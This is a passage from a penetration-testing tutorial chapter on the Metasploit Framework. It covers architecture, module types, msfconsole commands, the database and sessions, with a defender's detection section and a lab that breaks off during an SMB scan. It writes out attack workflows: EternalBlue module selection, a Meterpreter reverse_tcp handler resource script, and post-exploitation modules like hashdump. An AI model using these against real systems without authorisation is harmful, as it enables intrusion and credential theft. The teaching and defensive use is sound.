Skip to content

This is Chapter 3 of the Exploitation notebook. Chapter 1 built the vocabulary of exploitation — exploit versus payload versus shellcode, reverse versus bind shells, listeners and handlers, staged versus stageless delivery — and Chapter 2 turned that vocabulary into working code by finding, vetting and firing standalone public exploits from Exploit-DB. This chapter introduces the single most important tool in offensive security: the Metasploit Framework. Where Chapter 2’s exploits were one-off scripts you read, patched and ran by hand, Metasploit is an engine — a structured, database-backed, modular platform that standardises the whole exploit-develop-deliver-post-exploit loop into a common interface.

By the end of this chapter you will understand what Metasploit actually is beneath the famous msfconsole banner: its architecture, the libraries and modules that make it up, the datastore that carries your configuration, the PostgreSQL database that remembers your hosts and loot, and the seven module types you will use every day. You will be able to install and update the framework on Kali, drive msfconsole fluently, search and select modules with precise filters, set and inspect options, understand module ranking and targets, run auxiliary and exploit modules against an authorised lab target, manage multiple sessions and background jobs, and automate a repeatable workflow with a resource script.

Metasploit changes state on other people’s computers. It launches real exploits, opens real shells and can crash services outright. Everything in this chapter assumes an explicit, written, scoped engagement or hardware you own. Build the lab in Part 12, attack only your own VMs, read what each module does before you run it, and never point a payload at an address you are not authorised to touch. This chapter is Part 1 of a four-part arc: here we build the foundation (architecture, console, modules); the next chapter covers exploits, payloads, sessions and Meterpreter in depth; Chapter 5 covers msfvenom standalone payload generation and encoding; Chapter 6 covers post-exploitation modules, pivoting and automation.


Before touching a single command, get the mental model right, because most people misuse Metasploit precisely because they think it is a “hacking button” rather than what it is: a framework.

A framework, in software terms, is a reusable skeleton of code that provides common structure and services so that individual pieces of functionality don’t each have to reinvent networking, encoding, session handling, logging and reporting. Metasploit is exactly this for exploitation. Instead of every exploit shipping its own socket code, its own shellcode, its own encoder and its own way of catching a shell, Metasploit provides all of that as shared libraries, and each individual exploit becomes a small module that plugs into the engine and reuses those services.

Concretely, when you run a Metasploit exploit you are combining independent, swappable parts:

  • An exploit module — the code that triggers a specific vulnerability in a specific piece of software (e.g. a buffer overflow in a particular FTP server, or a deserialization bug in a Java app).
  • A payload — the code that runs on the target after the vulnerability is triggered (e.g. a reverse shell, or the Meterpreter agent). Crucially, in Metasploit the payload is not baked into the exploit. You pick the exploit and separately pick the payload, and the framework marries them at runtime. This decoupling is the core design idea.
  • An encoder — optionally re-encodes the payload bytes to avoid bad characters or naive signature detection.
  • A nop generator — pads shellcode with no-operation instructions where an exploit needs a predictable landing zone.
  • A handler — the listener on your machine that catches the connection the payload makes back to you.

This modularity is why Metasploit scales. There are thousands of exploit modules and a few dozen payloads; because any compatible payload can be attached to any exploit, the framework gets combinatorial power from a linear amount of code. Learn the engine once and every module feels familiar.

“Metasploit” is an umbrella name. The pieces you should distinguish:

  • Metasploit Framework — the free, open-source core (BSD-licensed, sponsored by Rapid7, developed in the open on GitHub). This is what ships on Kali and what this chapter teaches. It is driven from the command line via msfconsole.
  • Metasploit Pro — a paid commercial product built on top of the framework, adding a web GUI, automated exploitation, phishing campaigns, reporting and team features. You will almost never need it to learn; the framework does everything for study and most professional testing.
  • The wider tooling — msfvenom (standalone payload generator, covered in Chapter 5), msfdb (database helper), and the RPC/REST interfaces that let other tools drive the framework programmatically.

The framework is written primarily in Ruby. You do not need to know Ruby to use Metasploit, but knowing that modules are Ruby classes helps you read them — and reading a module before running it is a professional habit, exactly as it was for the standalone exploits in Chapter 2. Every module lives as a .rb file on disk and you can open it in any editor.

Why this matters for a real engagement: Metasploit is not just a convenience. It gives you consistency (every exploit is driven the same way, so you make fewer fat-finger mistakes under pressure), reliability (modules are peer-reviewed and ranked, so you know roughly how dangerous each is to run), record-keeping (the database logs every host, service and credential you touch, which becomes your report), and post-exploitation depth (Meterpreter and the post modules are unmatched). Those four properties — consistency, reliability, record-keeping, depth — are why it remains the backbone of hands-on testing decades after its creation.


Part 2: A Short History and Why the Architecture Looks the Way It Does

Section titled “Part 2: A Short History and Why the Architecture Looks the Way It Does”

Understanding why Metasploit is structured as it is makes the structure stick.

Metasploit began in 2003 as a portable network tool — H.D. Moore built it as a Perl-based project to collect and standardise exploit code that until then lived as scattered, inconsistent scripts (exactly the Exploit-DB mess Chapter 2 dealt with). The insight was that exploitation had a common shape: pick a target, trigger a bug, deliver a payload, catch a connection, act on the box. If you factor that common shape into a framework, individual exploits shrink to just the bug-specific part.

In 2007 the framework was rewritten from Perl into Ruby, which gave it clean object-orientation and the mixin system that modules still use. In 2009 Rapid7 acquired the project and funded full-time development while keeping the framework open source. Over the years the payload story matured — most importantly the arrival of Meterpreter, an in-memory, extensible payload that runs entirely in RAM and never touches disk as a file, which is the subject of the next chapter.

The architectural consequences you care about:

  • Because exploits and payloads were separated early, you get the pick-and-mix model. This is unusual and powerful; most standalone exploits hardcode their shellcode.
  • Because the framework is library-first, features like SMB, HTTP, SSH and Kerberos protocol handling are shared services (in the Rex and msf/core libraries) that any module can call. When you see a module “just work” against SMB, it is standing on thousands of lines of shared protocol code.
  • Because it grew a database layer, Metasploit can act as the connective tissue of a whole engagement: import Nmap results, track which hosts run which services, store cracked credentials, and feed all of that back into modules automatically.
flowchart TD
    subgraph UI["User Interfaces"]
        A1[msfconsole]
        A2[msfvenom]
        A3[RPC / REST API]
    end
    subgraph CORE["Framework Core (msf/core)"]
        B1[Module Manager]
        B2[Datastore]
        B3[Session Manager]
        B4[Job Manager]
        B5[Event / Plugin System]
    end
    subgraph LIBS["Libraries"]
        C1[Rex - protocols, sockets, encoding]
        C2[Msf-Core - module base classes]
        C3[Msf-Base - simplified API]
    end
    subgraph MODS["Modules on disk"]
        D1[exploits]
        D2[auxiliary]
        D3[payloads]
        D4[encoders]
        D5[nops]
        D6[post]
        D7[evasion]
    end
    DB[(PostgreSQL DB<br/>hosts / services / loot / creds)]

    UI --> CORE
    CORE --> LIBS
    CORE --> MODS
    CORE <--> DB

Read the diagram top-down: you type into an interface (almost always msfconsole); the interface drives the core (which tracks the selected module, the datastore of options, active sessions and background jobs); the core stands on libraries (Rex for low-level protocol/socket/encoding work, Msf::Core for the base classes every module inherits); the core loads modules from disk and pairs them with payloads; and the whole thing reads and writes a PostgreSQL database that remembers everything you discover.


Part 3: Installing, Updating and First Launch

Section titled “Part 3: Installing, Updating and First Launch”

On Kali Linux and Parrot OS, the Metasploit Framework is pre-installed as the metasploit-framework package. You rarely install it from scratch, but you should know how, and you must know how to update it and stand up its database.

Terminal window
# Is it installed, and which version?
msfconsole --version
# Framework Version: 6.4.x-dev

If it is missing (a minimal install, a non-Kali distro), install it from the Rapid7 repository rather than distro packages, which lag:

Terminal window
# Official omnibus installer (Debian/Ubuntu/Kali)
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall
  • curl <url> > msfinstall — download the installer script to a local file. curl is the standard command-line HTTP client; > redirects its output to a file rather than the terminal.
  • chmod 755 msfinstall — make the script executable. 755 means owner can read/write/execute, group and others can read/execute (the Linux series’ permissions chapter covers the octal notation).
  • sudo ./msfinstall — run the installer with root privileges so it can add the apt repository and install system-wide.

On Kali, update through apt so the whole system stays consistent:

Terminal window
sudo apt update && sudo apt install metasploit-framework
  • apt update — refresh the local package index so apt knows the latest available versions.
  • && — run the second command only if the first succeeds.
  • apt install metasploit-framework — install or upgrade the package to the newest version in the repo.

Avoid the old msfupdate command on Kali; it can pull a version out of step with the rest of the distro. On a Rapid7-omnibus install (not Kali), msfupdate is the correct updater.

Metasploit’s real power comes online only when its PostgreSQL database is running and initialised. Without it you can still fire single modules, but you lose host/service tracking, loot storage, workspaces and fast search. Initialise it once:

Terminal window
# Start PostgreSQL and create the msf database + schema
sudo systemctl start postgresql
sudo msfdb init
  • systemctl start postgresql — start the PostgreSQL service via systemd, Linux’s service manager. Use systemctl enable --now postgresql to also start it automatically at every boot.
  • msfdb init — Metasploit’s database helper. It creates the msf database, a database user, the schema, and writes a database.yml config so msfconsole connects automatically.

Other msfdb subcommands worth knowing:

CommandWhat it does
msfdb initCreate and initialise the database and config
msfdb statusReport whether the DB is running and initialised
msfdb start / msfdb stopStart/stop the bundled PostgreSQL instance
msfdb reinitWipe and recreate from scratch (destroys stored data)
msfdb runInit if needed, then launch msfconsole
Terminal window
msfconsole

The first launch after boot can take 20–40 seconds while it loads thousands of modules. You are greeted by a random ASCII banner, a module count, and the msf6 > prompt. The 6 is the major version. Immediately verify the database connected:

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

If it says “not connected”, exit, run sudo msfdb init, restart PostgreSQL, and relaunch. A connected database is the difference between using Metasploit as a toy and using it as a platform.

Speed tip: launch with msfconsole -q to suppress the banner, and msfconsole -x "use exploit/...; set RHOSTS ...; run" to run commands non-interactively. The -q (quiet) flag alone shaves the banner render and is the flag experienced operators use by reflex.


Part 4: The Module Taxonomy — the Seven Types

Section titled “Part 4: The Module Taxonomy — the Seven Types”

Everything Metasploit does is a module. There are seven module types, each in its own top-level directory under the modules path (typically /usr/share/metasploit-framework/modules/). Knowing which type you need is half of using the framework well.

mindmap
  root((Metasploit Modules))
    Exploit
      triggers a vulnerability
      pairs with a payload
      has targets and ranking
    Auxiliary
      no payload
      scanners fuzzers spoofers
      admin and DoS modules
    Payload
      runs on the target
      singles stagers stages
      Meterpreter and shells
    Encoder
      re-encode payload bytes
      avoid bad chars and naive AV
    NOP
      no-operation padding
      alignment for shellcode
    Post
      run after a session opens
      loot pivot persistence
    Evasion
      craft AV-evasive binaries

The code that triggers a specific vulnerability to gain code execution or otherwise abuse a target. An exploit module carries a payload, has one or more targets (specific OS/software builds it supports), and a rank describing reliability. This is the type most people picture when they think “Metasploit”. Path convention: exploit/<platform>/<service>/<name>, e.g. exploit/windows/smb/ms17_010_eternalblue.

Anything that does not carry a payload: scanners, fuzzers, sniffers, spoofers, brute-forcers, denial-of-service modules, and administrative tools. If a module just gathers information or manipulates a service without dropping code, it is auxiliary. Examples: auxiliary/scanner/smb/smb_version, auxiliary/scanner/ssh/ssh_login, auxiliary/scanner/http/dir_scanner. Auxiliary scanners are often where a real workflow starts — you enumerate before you exploit.

The code executed on the target after an exploit succeeds. Three sub-kinds (covered deeply next chapter):

  • Singles — fully self-contained, do one thing, no network stager needed (e.g. windows/shell_bind_tcp). Named with underscores.
  • Stagers — a tiny first-stage that sets up a network connection and pulls down a larger second stage (e.g. windows/meterpreter/reverse_tcp). Named with slashes.
  • Stages — the large payload the stager downloads (e.g. Meterpreter itself). The staged/stageless distinction from Chapter 1 lives here.

Transform payload bytes into an equivalent form that avoids bad characters (bytes the vulnerable code can’t tolerate, like null bytes \x00 in a string overflow) or that scrambles a naive signature. The famous x86/shikata_ga_nai is a polymorphic XOR encoder. Encoding is not reliable AV evasion any more (modern AV decodes it), but it remains essential for the bad-character problem.

Generate no-operation instruction sleds — padding that lets execution “slide” into your shellcode when the exact landing address is uncertain. Mostly relevant to classic memory-corruption exploits; rarely selected by hand.

Run after you already have a session on a host. Loot gathering, privilege escalation checks, credential dumping, pivoting setup, persistence, screen capture. Path convention post/<platform>/<category>/<name>, e.g. post/windows/gather/hashdump. Chapter 6 is dedicated to these.

A newer type that builds antivirus-evasive Windows binaries directly (a more integrated cousin of msfvenom encoding). Distinct from encoders because they target endpoint AV specifically.

TypeDirectoryCarries payload?Runs whereTypical use
Exploitexploit/YesAgainst targetGain code execution
Auxiliaryauxiliary/NoAgainst targetScan, brute, fuzz, DoS
Payloadpayload/—On targetShell / Meterpreter
Encoderencoder/—Build-timeAvoid bad chars
NOPnop/—Build-timeShellcode alignment
Postpost/NoOn owned hostLoot, pivot, persist
Evasionevasion/YesBuild-timeAV-evasive binary

Reading a module path is a skill. exploit/windows/smb/ms17_010_eternalblue decodes instantly once you know the grammar: it’s an exploit, for Windows, in the SMB service, named after MS17-010 EternalBlue. Every path follows type/platform/service-or-category/name.


Part 5: Driving msfconsole — Core Commands

Section titled “Part 5: Driving msfconsole — Core Commands”

msfconsole is the primary interface — a rich, tab-completing, history-aware shell. Learn these commands until they are reflex. They fall into families: help/navigation, module selection, options, execution, and database.

help # list all commands (grouped)
help set # help for one command
? # alias for help
banner # print a fresh banner (and module counts)
version # framework and console version
connect 10.10.10.5 445 # built-in netcat-like TCP client

Two quality-of-life features: tab completion works on commands, module names, options and even option values; and command history persists across sessions (up-arrow, or history). You can run system commands inline — ls, cat, ping — because the console passes unknown-but-executable words to the shell.

search eternalblue # find modules by keyword
use exploit/windows/smb/ms17_010_eternalblue # select a module
use 0 # select by result index from the last search
info # full details of the selected module
back # deselect the current module
previous # switch to the previously selected module

Once a module is selected the prompt changes to show it, e.g. msf6 exploit(windows/smb/ms17_010_eternalblue) >. That context is everything — subsequent commands like set, show options and run apply to the selected module.

show options # required and optional settings for this module
show missing # only the required options not yet set
set RHOSTS 10.10.10.5 # set a module-local option
setg LHOST 10.10.14.7 # set a GLOBAL option (persists across modules)
unset RHOSTS # clear one option
unsetg LHOST # clear a global option
get RHOSTS # read back a value

show options prints a table of settings. Each has a name, current value, a Required flag, and a description. Anything with Required = yes and an empty Current Setting must be filled before the module will run — show missing filters straight to those.

show targets # OS/build variants this exploit supports
set TARGET 2 # choose a target by index
show payloads # payloads compatible with this exploit + target
set PAYLOAD windows/x64/meterpreter/reverse_tcp
show advanced # rarely-touched but powerful extra options
show evasion # evasion-related options for this module
check # safely test if target is vulnerable WITHOUT exploiting (if supported)
run # execute the module
exploit # alias of run for exploit modules
exploit -j # run as a background job
exploit -z # run but do not interact with the session immediately
run -h # options for run itself (verbose, jobs, etc.)

check is underused gold: many exploit modules can probe for the vulnerability without firing it, which is far safer on production systems and gives you a defensible “confirmed vulnerable” finding.

sessions # list active sessions
sessions -i 1 # interact with session 1
sessions -l # verbose list
sessions -k 1 # kill session 1
sessions -u 1 # upgrade a shell session to Meterpreter
background # (inside a session) drop back to the console, keep session alive
jobs # list background jobs (e.g. handlers, running exploits)
jobs -k 0 # kill job 0
kill 0 # kill a job by id
CommandFamilyPurpose
searchselectionFind modules
useselectionSelect a module
infoselectionDescribe a module
show optionsconfigList settings
set / setgconfigSet a value (local / global)
checkexecutionTest vulnerability safely
run / exploitexecutionFire the module
sessionspostManage open sessions
jobspostManage background jobs
db_nmapdatabaseNmap + auto-import
hosts / servicesdatabaseQuery stored recon

Part 6: The Datastore — Local vs Global Options

Section titled “Part 6: The Datastore — Local vs Global Options”

The datastore is Metasploit’s configuration memory: the set of named variables (RHOSTS, LHOST, PAYLOAD, etc.) that modules read from. Misunderstanding it is the single most common beginner trap, so treat this part carefully.

There are two datastores:

  • The module (local) datastore — options you set while a module is selected. They belong to that module instance and are cleared or reset when you switch away (though Metasploit remembers per-module values within a session).
  • The global datastore — options you setg. They apply to every module until you unsetg them or quit. This is how you set LHOST once for the whole engagement instead of re-typing your IP into every module.
flowchart LR
    subgraph G["Global datastore (setg)"]
        LH[LHOST 10.10.14.7]
        LP[LPORT 4444]
    end
    subgraph M["Module datastore (set)"]
        RH[RHOSTS 10.10.10.5]
        PL[PAYLOAD reverse_tcp]
    end
    MOD[Selected module reads options] --> M
    MOD -.falls back to.-> G
    M -->|overrides| G

The resolution rule: when a module needs an option, it looks in its local datastore first; if not set there, it falls back to the global datastore. A local set therefore overrides a global setg for that module. This is why setg LHOST your attacker IP once, then only set RHOSTS per target, is the efficient pattern.

Common options you will set constantly:

OptionMeaningWhere you set it
RHOSTSRemote/target host(s). Accepts a single IP, CIDR 10.0.0.0/24, range 10.0.0.1-20, or a file file:/path/targets.txtLocal, per target
RPORTRemote/target port (module has a sensible default)Local, rarely changed
LHOSTLocal host — your IP the payload connects back toGlobal, once
LPORTLocal port your handler listens onGlobal or local
PAYLOADWhich payload to attach to an exploitLocal
TARGETWhich target variant of the exploitLocal
SESSIONWhich existing session a post module runs againstLocal
THREADSConcurrency for scannersLocal

Watch the plural: modern modules use RHOSTS (plural, supports ranges and CIDR) not the old singular RHOST. Setting the wrong one is a classic “why won’t this run” mistake — show missing will save you.

save writes the current global datastore to ~/.msf4/config so it survives restarts; use it sparingly, because stale globals from a previous engagement pointing your payload at an old IP is a real and embarrassing failure mode. setg is powerful precisely because it is sticky — respect that.


Part 7: Searching and Selecting Modules Precisely

Section titled “Part 7: Searching and Selecting Modules Precisely”

With tens of thousands of modules, search fluency is what separates fast operators from slow ones. Bare keyword search is fine to start, but the filter keywords are where the power is.

search eternalblue
search ms17-010
search type:exploit platform:windows smb
search cve:2021-44228 # Log4Shell
search author:hdm
search name:tomcat type:exploit
search rank:excellent type:exploit platform:linux

Filter keywords you should memorise:

FilterMatches onExample
type:Module typetype:auxiliary
platform:Target platformplatform:windows
cve:CVE identifiercve:2017-0144
name:Module name textname:smb
path:Module path textpath:scanner
author:Module authorauthor:hdm
rank:Reliability rankrank:excellent
arch:Architecturearch:x64
port:Default RPORTport:445
app:Client/server sideapp:server
disclosure_date:When the bug was publisheddisclosure_date:2021

Combine them freely: search type:exploit platform:windows rank:great port:445 narrows thousands of modules to a short, high-quality list. Results are numbered, and use <number> selects by index — a fast idiom immediately after a search.

msf6 > search type:exploit name:ms17_010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/... via SMB
msf6 > use 0

Reading the result table: the Rank column is a promise about reliability (see Part 8), and the Check column tells you whether the module supports the safe check command. Prefer modules that support check on production systems, and prefer higher ranks when you have a choice.

grep chains onto commands too — grep meterpreter show payloads filters a long listing, and search ... | grep excellent refines further.


Part 8: Exploit Ranking, Targets and the info Screen

Section titled “Part 8: Exploit Ranking, Targets and the info Screen”

Two module properties decide how you use an exploit safely: its rank and its targets.

Every exploit module carries a rank that estimates how reliable and how safe it is — specifically, how likely it is to work and how likely it is to crash the target service or the whole box. From best to worst:

RankMeaning
excellentNever crashes the service; no memory corruption (e.g. command injection, auth bypass, SQLi-to-RCE). The gold standard — run these with confidence.
greatDefault target auto-detected or a very reliable check; works reliably.
goodDefault target reasonable for the common case.
normalReliable but must be manually targeted; no auto-detect.
averageSomewhat unreliable — EternalBlue itself is here.
lowUnlikely to work (under ~50%) on the common target.
manualNearly always needs hand-tuning, or is a DoS, or is unstable. Read the module before firing.

Why this matters on a live test: an average or low memory-corruption exploit against a production server can bluescreen the box and take a service down — a real, billable incident. Reach for excellent/great ranks first, use check where offered, and only run average-and-below modules against systems where a crash is acceptable (your own lab, or a scoped, change-approved window). Rank is a risk signal, not just a quality score.

Memory-corruption and many logic exploits are build-specific: the same bug needs different offsets or techniques on Windows 7 x86 vs Windows Server 2016 x64 vs a specific service pack. Metasploit encodes these as targets:

msf6 exploit(...) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 7 and Server 2008 R2 (x64) All Service Packs
2 Windows 8.1 / Server 2012 R2 (x64)
msf6 exploit(...) > set TARGET 1

0 Automatic Targeting tries to fingerprint the target and pick for you; it is convenient but can guess wrong. When you know the exact build from enumeration (Chapter 2’s version-banner work), setting the target explicitly is more reliable than trusting auto-detection.

info (or info <module> without selecting) is the module’s full datasheet: description, authors, references (CVE, EDB-ID, MSB, URLs), disclosure date, rank, available targets, all options with defaults, and often notes on reliability and side effects. Reading info before running is the Metasploit equivalent of reading the exploit source in Chapter 2 — do it every time. It tells you what the module will do, what it needs, and how it can go wrong.

msf6 exploit(windows/smb/ms17_010_eternalblue) > info
Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Module: exploit/windows/smb/ms17_010_eternalblue
Platform: Windows
Rank: Average
Disclosed: 2017-03-14
Provided by:
Sean Dillon, Dylan Davis, Equation Group ...
Available targets:
Id Name
-- ----
0 Automatic Target
Description:
This module is a port of the Equation Group ETERNALBLUE exploit...
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-0143
MSB-MS17-010

Part 9: The Database — Workspaces, Hosts, Services and Loot

Section titled “Part 9: The Database — Workspaces, Hosts, Services and Loot”

The PostgreSQL database is what turns Metasploit from an exploit launcher into an engagement platform. It records every host you see, every service you enumerate, every credential you steal and every piece of loot you exfiltrate — and modules read from and write to it automatically.

A workspace is an isolated container of database data — think one workspace per engagement or per target network, so a client’s hosts never mix with another’s.

workspace # list workspaces (* marks current)
workspace -a client_acme # add and switch to a new workspace
workspace client_acme # switch to an existing workspace
workspace -d old_engagement # delete a workspace and all its data
workspace -r old new # rename

Start every engagement with workspace -a <name>. It is the cleanest way to keep data separated and your final report accurate.

The fastest way to fill the database is to run Nmap through Metasploit so results import automatically:

db_nmap -sV -sC -O 10.10.10.0/24
  • -sV — service/version detection (fills the services table with product and version).
  • -sC — run default NSE scripts.
  • -O — OS detection.
  • The CIDR scans the whole /24. Every host, port, service and OS guess lands in the database.

You can also import existing scans: db_import scan.xml ingests Nmap XML, Nessus, Nexpose, Qualys and many other formats. On a real test you often import the team’s authorised Nmap output rather than rescanning.

hosts # all discovered hosts (IP, OS, name)
hosts -c address,os_name,name # choose columns
services # all discovered services
services -p 445 # filter services by port
services -s smb # filter by service name
services -u # only "up" services
vulns # vulnerabilities correlated to hosts
creds # captured/stored credentials
loot # files/data exfiltrated by post modules
notes # freeform notes attached to hosts

The database feeds modules back automatically

Section titled “The database feeds modules back automatically”

The payoff: once services are in the database, you can point a module at all matching hosts at once. Setting RHOSTS from the services table, or using the -R convention some workflows adopt, lets an auxiliary scanner sweep every host running a given service without you copy-pasting IPs. This closed loop — scan → store → module reads store → results stored — is the architectural heart of an efficient Metasploit engagement.

sequenceDiagram
    participant O as Operator
    participant C as msfconsole
    participant DB as PostgreSQL
    participant T as Targets
    O->>C: workspace -a acme
    O->>C: db_nmap -sV 10.10.10.0/24
    C->>T: Nmap probes
    T-->>C: open ports + versions
    C->>DB: store hosts + services
    O->>C: use auxiliary/scanner/smb/smb_version
    C->>DB: read hosts running SMB
    C->>T: SMB version probe
    T-->>C: SMB dialect + OS
    C->>DB: store vulns / notes
    O->>C: hosts / services / creds
    DB-->>O: consolidated engagement data

Blue-team note: everything in that loop is loud. db_nmap across a /24 generates a burst of connection attempts and version probes across the whole range in seconds — a pattern that IDS/NetFlow analytics flag immediately as horizontal scanning. We return to the defender’s view in Part 11.


Part 10: Sessions, Jobs and Resource-Script Automation

Section titled “Part 10: Sessions, Jobs and Resource-Script Automation”

When an exploit succeeds it opens a session — an interactive channel to the compromised host (a command shell, or a Meterpreter session). Metasploit can hold many sessions at once, numbered 1, 2, 3…:

sessions # list all
sessions -i 2 # interact with session 2
background # from inside a session, return to console (session stays alive)
sessions -k 2 # kill session 2
sessions -K # kill ALL sessions
sessions -u 3 # upgrade a basic shell (session 3) to Meterpreter
sessions -C "sysinfo" -i 3 # run a command in a session without full interaction

The background command (or Ctrl-Z inside a session) is essential: it lets you keep a shell open while you go configure and run the next module, then sessions -i back into it. Losing this habit means killing a hard-won shell just to run one more scan.

A job is a module running in the background — most importantly a handler (the listener that catches reverse connections). exploit -j runs an exploit as a job so the console stays free; the classic pattern is to start a multi/handler as a job so it keeps listening while you deliver a payload by other means:

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
setg LHOST 10.10.14.7
set LPORT 4444
exploit -j # background handler; console returns immediately
jobs # confirm the handler is listening

jobs -k <id> stops one job; jobs -K stops all. A dangling handler job from an earlier attempt is a common reason “the port is already in use” — check jobs when a listener won’t bind.

A resource script (.rc file) is just a list of msfconsole commands, optionally with embedded Ruby, run in sequence. It turns a repeatable setup into one command — the poor man’s automation that every operator uses to avoid re-typing the same 8 lines each morning.

Create handler.rc:

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.7
set LPORT 4444
set ExitOnSession false
exploit -j -z

Run it two ways:

Terminal window
# At launch:
msfconsole -q -r handler.rc
# Or from inside the console:
msf6 > resource handler.rc

makerc does the reverse — it writes every command you have typed this session into a .rc file, so you can “record” a working workflow and replay it:

msf6 > makerc /root/engagement.rc

Resource scripts can even contain Ruby (<ruby> ... </ruby> blocks) for loops and logic, but a plain list of commands covers the vast majority of real automation. This is the on-ramp to the deeper automation covered in Chapter 6.


Everything above is offense. A professional understands both sides, because the same knowledge that makes you effective on a test makes you effective at catching an intruder. This section consolidates the defender’s view of Metasploit activity.

What Metasploit looks like on the wire and on the host

Section titled “What Metasploit looks like on the wire and on the host”

Metasploit is not stealthy by default — it is a testing framework, not a bespoke C2 built for evasion. Default artifacts a defender can hunt:

  • Default listener ports. LPORT 4444 is the framework default and a well-known IOC. A connection to an internal host on 4444/tcp is a classic Metasploit tell. (Operators change it precisely because defenders watch it.)
  • Meterpreter TLS fingerprint. Staged Meterpreter over reverse_tcp first pulls a stage; the reverse_https variants use a TLS certificate whose default fields and JA3/JA3S hashes have historically been fingerprintable. Modern detection stacks ship Suricata/Zeek signatures for known Meterpreter TLS behaviour.
  • Loud scanning. db_nmap and the auxiliary scanners generate high-fanout, high-rate connection patterns (many hosts, sequential ports) that NetFlow/Zeek conn.log analytics flag as horizontal or vertical scanning.
  • The stager download. A staged payload fetches the second stage over the same channel immediately after connecting — a short outbound connection followed by a larger inbound transfer, then long-lived beaconing.
  • On-host artifacts. Payload processes, injected threads, and post-module actions (a sudden hashdump, service creation for persistence, net user enumeration) leave Windows Event Log and Sysmon traces.
flowchart LR
    A[Recon db_nmap sweep] -->|horizontal scan pattern| D1[IDS / NetFlow alert]
    B[Exploit fired] -->|known module traffic sig| D2[Suricata / Zeek rule]
    C[Payload connect-back 4444] -->|odd port + TLS JA3| D3[Egress / proxy alert]
    E[Post hashdump persistence] -->|Sysmon 1/7/8/11 and 4688| D4[EDR / SIEM]
    D1 --> SOC[SOC triage and IR]
    D2 --> SOC
    D3 --> SOC
    D4 --> SOC
SignalWhere it showsDetection idea
Reverse shell to :4444Firewall / proxy / Zeek conn.logAlert on internal-host outbound to uncommon high ports, esp. 4444/4445
Meterpreter TLSZeek ssl.log / SuricataJA3/JA3S hashes and default cert fields for known Meterpreter
Nmap-style sweepNetFlow / ZeekMany-destinations, few-packets fanout from one source in a short window
hashdump / LSASS accessSysmon EID 10, Windows 4688Process accessing lsass; suspicious child processes of exploited service
Service persistenceSysmon EID 7/13, Windows 7045New service creation, autorun registry writes
Process injectionSysmon EID 8 (CreateRemoteThread)Injected threads into legitimate processes

IR use case: if you find a listener on 4444, a short outbound TCP session immediately followed by a larger inbound transfer, and then LSASS access from an unexpected process, you are very likely looking at a staged Meterpreter compromise — and knowing the offensive workflow above tells you exactly which host artifacts to collect next (injected process, loaded extensions, any .rc-style repeated actions).

Hardening that blunts Metasploit specifically

Section titled “Hardening that blunts Metasploit specifically”
  • Patch the exploitable service — the module can’t fire if the bug is gone. MS17-010 modules are inert on a patched host.
  • Egress filtering — default-deny outbound so a reverse shell has nowhere to call home; this alone defeats a large fraction of naive payloads.
  • Application allow-listing / EDR — stops the payload process or the injected thread from running or persisting.
  • Network segmentation — limits the pivoting that Chapter 6 covers.
  • Monitor the defaults — because so many operators never change 4444, the default port, and known Meterpreter signatures, monitoring the defaults catches the unskilled majority cheaply.

Part 12: Hands-On Lab — From Fresh Console to a Scan and a Shell

Section titled “Part 12: Hands-On Lab — From Fresh Console to a Scan and a Shell”

This lab is fully reproducible on hardware you own. Everything is lab-scoped. Do not point any command at a system you are not authorised to test.

  • Attacker: Kali Linux VM, IP 10.10.14.7 (adjust to yours — find it with ip a).
  • Target: the intentionally-vulnerable Metasploitable 3 or Metasploitable 2 VM, or a purpose-built Windows lab box, IP 10.10.10.5. Metasploitable is free and designed exactly for this.
  • Both on a host-only / isolated NAT network with no route to anything real.
flowchart LR
    K[Kali attacker 10.10.14.7] -- isolated host-only net --> M[Metasploitable target 10.10.10.5]
    K -. no route .-> INT[(Internet / real hosts)]

Step 0 — Prepare the framework and database

Section titled “Step 0 — Prepare the framework and database”
Terminal window
sudo systemctl start postgresql
sudo msfdb init
msfconsole -q
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 > workspace -a lab_metasploitable
[*] Added workspace: lab_metasploitable
[*] Workspace: lab_metasploitable
msf6 > db_nmap -sV 10.10.10.5
[*] Nmap: Starting Nmap 7.94 ...
[*] Nmap: 21/tcp open ftp vsftpd 2.3.4
[*] Nmap: 22/tcp open ssh OpenSSH 4.7p1
[*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X
[*] Nmap: 445/tcp open microsoft-ds Samba smbd 3.X - 4.X
[*] Nmap: 3306/tcp open mysql MySQL 5.0.51a
[*] Nmap: Nmap done: 1 IP address (1 host up)
msf6 > hosts
Hosts
=====
address mac name os_name os_flavor purpose info comments
------- --- ---- ------- --------- ------- ---- --------
10.10.10.5 Linux server
msf6 > services -p 445
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.10.10.5 445 tcp microsoft-ds open Samba smbd 3.X - 4.X

The scan populated the hosts and services tables automatically. Everything downstream reads from here.

Step 2 — An auxiliary scanner (no payload) to confirm SMB detail

Section titled “Step 2 — An auxiliary scanner (no payload) to confirm SMB detail”

Teach the tool from scratch: auxiliary/scanner/smb/smb_version is a scanner module — an auxiliary that connects to SMB and reports the dialect, OS and domain without exploiting anything. It is the safe, quiet way to confirm exactly what you are dealing with before choosing an exploit.

msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s)
THREADS 1 yes The number of concurrent threads
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.10.10.5
RHOSTS => 10.10.10.5
msf6 auxiliary(scanner/smb/smb_version) > run
